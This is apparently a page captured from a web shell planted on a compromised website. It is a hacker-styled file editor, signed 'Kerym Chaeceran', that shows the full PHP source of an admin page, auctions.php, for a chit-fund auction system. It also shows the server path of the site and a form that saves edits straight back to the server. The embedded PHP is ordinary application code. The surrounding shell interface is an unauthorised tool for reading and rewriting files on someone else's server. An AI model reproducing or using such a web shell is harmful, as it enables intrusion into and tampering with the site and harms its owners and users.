

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: auctions.php</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>&lt;?php
require_once __DIR__ . &#039;/header.php&#039;;

$membersAll = [];
// Fetch list of auctions
$conn = db_connect();
$auctions = [];
$sql = &quot;SELECT a.id, a.chit_id, a.month_no, a.auction_date, a.bid_amount, a.final_payout,
               c.name AS chit_name, m.name AS winner_name
        FROM auctions a
        JOIN chit_groups c ON a.chit_id = c.id
        JOIN members m ON a.winner_member_id = m.id
        ORDER BY a.auction_date DESC&quot;;
$res = $conn-&gt;query($sql);
if ($res) {
    while ($row = $res-&gt;fetch_assoc()) {
        $auctions[] = $row;
    }
    $res-&gt;free();
}

// Get active chits for select
$activeChits = [];
$res2 = $conn-&gt;query(&quot;SELECT id, name, total_amount, duration_months FROM chit_groups WHERE status=&#039;active&#039;&quot;);
if ($res2) {
    while ($row = $res2-&gt;fetch_assoc()) {
        $activeChits[] = $row;
    }
    $res2-&gt;free();
}
// Get all active members for mapping
$res3 = $conn-&gt;query(&quot;SELECT id, name FROM members WHERE status=&#039;active&#039;&quot;);
if ($res3) {
    while ($row = $res3-&gt;fetch_assoc()) {
        $membersAll[] = $row;
    }
    $res3-&gt;free();
}
$conn-&gt;close();
?&gt;
&lt;h2&gt;Auctions&lt;/h2&gt;
&lt;div class=&quot;d-flex justify-content-between mb-3&quot;&gt;
    &lt;h5&gt;Conduct monthly auctions&lt;/h5&gt;
    &lt;button class=&quot;btn btn-primary&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#addAuctionModal&quot;&gt;New Auction&lt;/button&gt;
&lt;/div&gt;
&lt;div class=&quot;table-responsive&quot;&gt;
    &lt;table class=&quot;table table-striped table-bordered align-middle&quot;&gt;
        &lt;thead class=&quot;table-dark&quot;&gt;
            &lt;tr&gt;
                &lt;th&gt;Chit&lt;/th&gt;
                &lt;th&gt;Month #&lt;/th&gt;
                &lt;th&gt;Auction Date&lt;/th&gt;
                &lt;th&gt;Winner&lt;/th&gt;
                &lt;th&gt;Bid (Discount)&lt;/th&gt;
                &lt;th&gt;Final Payout&lt;/th&gt;
            &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
            &lt;?php foreach ($auctions as $a): ?&gt;
            &lt;tr&gt;
                &lt;td&gt;&lt;?php echo e($a[&#039;chit_name&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($a[&#039;month_no&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($a[&#039;auction_date&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($a[&#039;winner_name&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;₹&lt;?php echo number_format($a[&#039;bid_amount&#039;], 2); ?&gt;&lt;/td&gt;
                &lt;td&gt;₹&lt;?php echo number_format($a[&#039;final_payout&#039;], 2); ?&gt;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/tbody&gt;
    &lt;/table&gt;
&lt;/div&gt;

&lt;!-- Add Auction Modal --&gt;
&lt;div class=&quot;modal fade&quot; id=&quot;addAuctionModal&quot; tabindex=&quot;-1&quot; aria-labelledby=&quot;addAuctionModalLabel&quot; aria-hidden=&quot;true&quot;&gt;
  &lt;div class=&quot;modal-dialog&quot;&gt;
    &lt;form id=&quot;addAuctionForm&quot;&gt;
      &lt;div class=&quot;modal-content&quot;&gt;
        &lt;div class=&quot;modal-header&quot;&gt;
          &lt;h5 class=&quot;modal-title&quot; id=&quot;addAuctionModalLabel&quot;&gt;Conduct Auction&lt;/h5&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-body&quot;&gt;
          &lt;div id=&quot;addAuctionAlert&quot; class=&quot;alert d-none&quot; role=&quot;alert&quot;&gt;&lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Chit&lt;/label&gt;
            &lt;select name=&quot;chit_id&quot; id=&quot;auctionChitSelect&quot; class=&quot;form-select&quot; required&gt;
              &lt;option value=&quot;&quot;&gt;Select Chit&lt;/option&gt;
              &lt;?php foreach ($activeChits as $c): ?&gt;
                &lt;option value=&quot;&lt;?php echo $c[&#039;id&#039;]; ?&gt;&quot; data-total=&quot;&lt;?php echo $c[&#039;total_amount&#039;]; ?&gt;&quot; data-duration=&quot;&lt;?php echo $c[&#039;duration_months&#039;]; ?&gt;&quot;&gt;
                  &lt;?php echo e($c[&#039;name&#039;]); ?&gt; (₹&lt;?php echo number_format($c[&#039;total_amount&#039;], 2); ?&gt;)
                &lt;/option&gt;
              &lt;?php endforeach; ?&gt;
            &lt;/select&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Month Number&lt;/label&gt;
            &lt;select name=&quot;month_no&quot; id=&quot;auctionMonthSelect&quot; class=&quot;form-select&quot; required disabled&gt;&lt;/select&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Winner&lt;/label&gt;
            &lt;select name=&quot;winner_member_id&quot; id=&quot;auctionWinnerSelect&quot; class=&quot;form-select&quot; required disabled&gt;&lt;/select&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Bid Amount (Discount)&lt;/label&gt;
            &lt;input type=&quot;number&quot; name=&quot;bid_amount&quot; id=&quot;auctionBidAmount&quot; step=&quot;0.01&quot; class=&quot;form-control&quot; required disabled&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Final Payout&lt;/label&gt;
            &lt;input type=&quot;number&quot; name=&quot;final_payout&quot; id=&quot;auctionFinalPayout&quot; step=&quot;0.01&quot; class=&quot;form-control&quot; readonly&gt;
          &lt;/div&gt;
          &lt;div class=&quot;mb-3&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Auction Date&lt;/label&gt;
            &lt;input type=&quot;date&quot; name=&quot;auction_date&quot; class=&quot;form-control&quot; required&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;modal-footer&quot;&gt;
          &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;
          &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;Save&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/form&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
// Auction page JavaScript
$(document).ready(function() {
    // Build a mapping of member ID to name so we can populate the winner select easily
    const memberMap = {};
    &lt;?php foreach ($membersAll as $m): ?&gt;
        memberMap[&lt;?php echo (int) $m[&#039;id&#039;]; ?&gt;] = &lt;?php echo json_encode($m[&#039;name&#039;]); ?&gt;;
    &lt;?php endforeach; ?&gt;

    // When a chit is selected, populate months, assigned members, and enable bid input
    $(&#039;#auctionChitSelect&#039;).on(&#039;change&#039;, function() {
        const chitId   = $(this).val();
        const total    = $(&#039;option:selected&#039;, this).data(&#039;total&#039;);
        const duration = $(&#039;option:selected&#039;, this).data(&#039;duration&#039;);

        // Reset dependent fields
        $(&#039;#auctionFinalPayout&#039;).val(&#039;&#039;);
        $(&#039;#auctionBidAmount&#039;).val(&#039;&#039;).prop(&#039;disabled&#039;, !chitId);
        $(&#039;#auctionWinnerSelect&#039;).empty().prop(&#039;disabled&#039;, true);

        // If no chit selected, disable month select and return
        if (!chitId) {
            $(&#039;#auctionMonthSelect&#039;).prop(&#039;disabled&#039;, true).empty();
            return;
        }

        // Populate month options based on chit duration
        let monthOptions = &#039;&lt;option value=&quot;&quot;&gt;Select Month&lt;/option&gt;&#039;;
        for (let i = 1; i &lt;= duration; i++) {
            monthOptions += &#039;&lt;option value=&quot;&#039; + i + &#039;&quot;&gt;&#039; + i + &#039;&lt;/option&gt;&#039;;
        }
        $(&#039;#auctionMonthSelect&#039;).html(monthOptions).prop(&#039;disabled&#039;, false);

        // Fetch members assigned to this chit and populate winner select
        $.ajax({
            url: &#039;../api/chit_get_members.php&#039;,
            method: &#039;GET&#039;,
            data: { chit_id: chitId },
            dataType: &#039;json&#039;,
            success: function(res) {
                if (res.success) {
                    let opts = &#039;&lt;option value=&quot;&quot;&gt;Select Winner&lt;/option&gt;&#039;;
                    res.members.forEach(function(mid) {
                        // Only include active members found in memberMap
                        if (memberMap[mid]) {
                            opts += &#039;&lt;option value=&quot;&#039; + mid + &#039;&quot;&gt;&#039; + memberMap[mid] + &#039;&lt;/option&gt;&#039;;
                        }
                    });
                    $(&#039;#auctionWinnerSelect&#039;).html(opts).prop(&#039;disabled&#039;, false);
                } else {
                    alert(res.message);
                }
            },
            error: function() {
                alert(&#039;Error loading members&#039;);
            }
        });

        // Bind bid input event to calculate final payout based on selected chit
        $(&#039;#auctionBidAmount&#039;).off(&#039;input&#039;).on(&#039;input&#039;, function() {
            const bid = parseFloat($(this).val()) || 0;
            const payout = parseFloat(total) - bid;
            $(&#039;#auctionFinalPayout&#039;).val(payout.toFixed(2));
        });
    });

    // Also handle direct bid input change when chit is already selected
    $(&#039;#auctionBidAmount&#039;).on(&#039;input&#039;, function() {
        const total = $(&#039;#auctionChitSelect option:selected&#039;).data(&#039;total&#039;);
        const bid   = parseFloat($(this).val()) || 0;
        const payout = parseFloat(total || 0) - bid;
        if (!isNaN(payout)) {
            $(&#039;#auctionFinalPayout&#039;).val(payout.toFixed(2));
        }
    });

    // Submit auction form via AJAX
    $(&#039;#addAuctionForm&#039;).on(&#039;submit&#039;, function(e) {
        e.preventDefault();
        $.ajax({
            url: &#039;../api/auction_add.php&#039;,
            method: &#039;POST&#039;,
            data: $(this).serialize(),
            dataType: &#039;json&#039;,
            success: function(res) {
                if (res.success) {
                    // Reload page to display new auction
                    location.reload();
                } else {
                    $(&#039;#addAuctionAlert&#039;).removeClass(&#039;d-none alert-success&#039;).addClass(&#039;alert-danger&#039;).text(res.message);
                }
            },
            error: function() {
                $(&#039;#addAuctionAlert&#039;).removeClass(&#039;d-none alert-success&#039;).addClass(&#039;alert-danger&#039;).text(&#039;An error occurred.&#039;);
            }
        });
    });
});
&lt;/script&gt;

&lt;?php
// Include the footer once at the end of the page
require_once __DIR__ . &#039;/footer.php&#039;;</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/cms.enginx.in/admin/auctions.php'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Fcms.enginx.in%2Fadmin' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>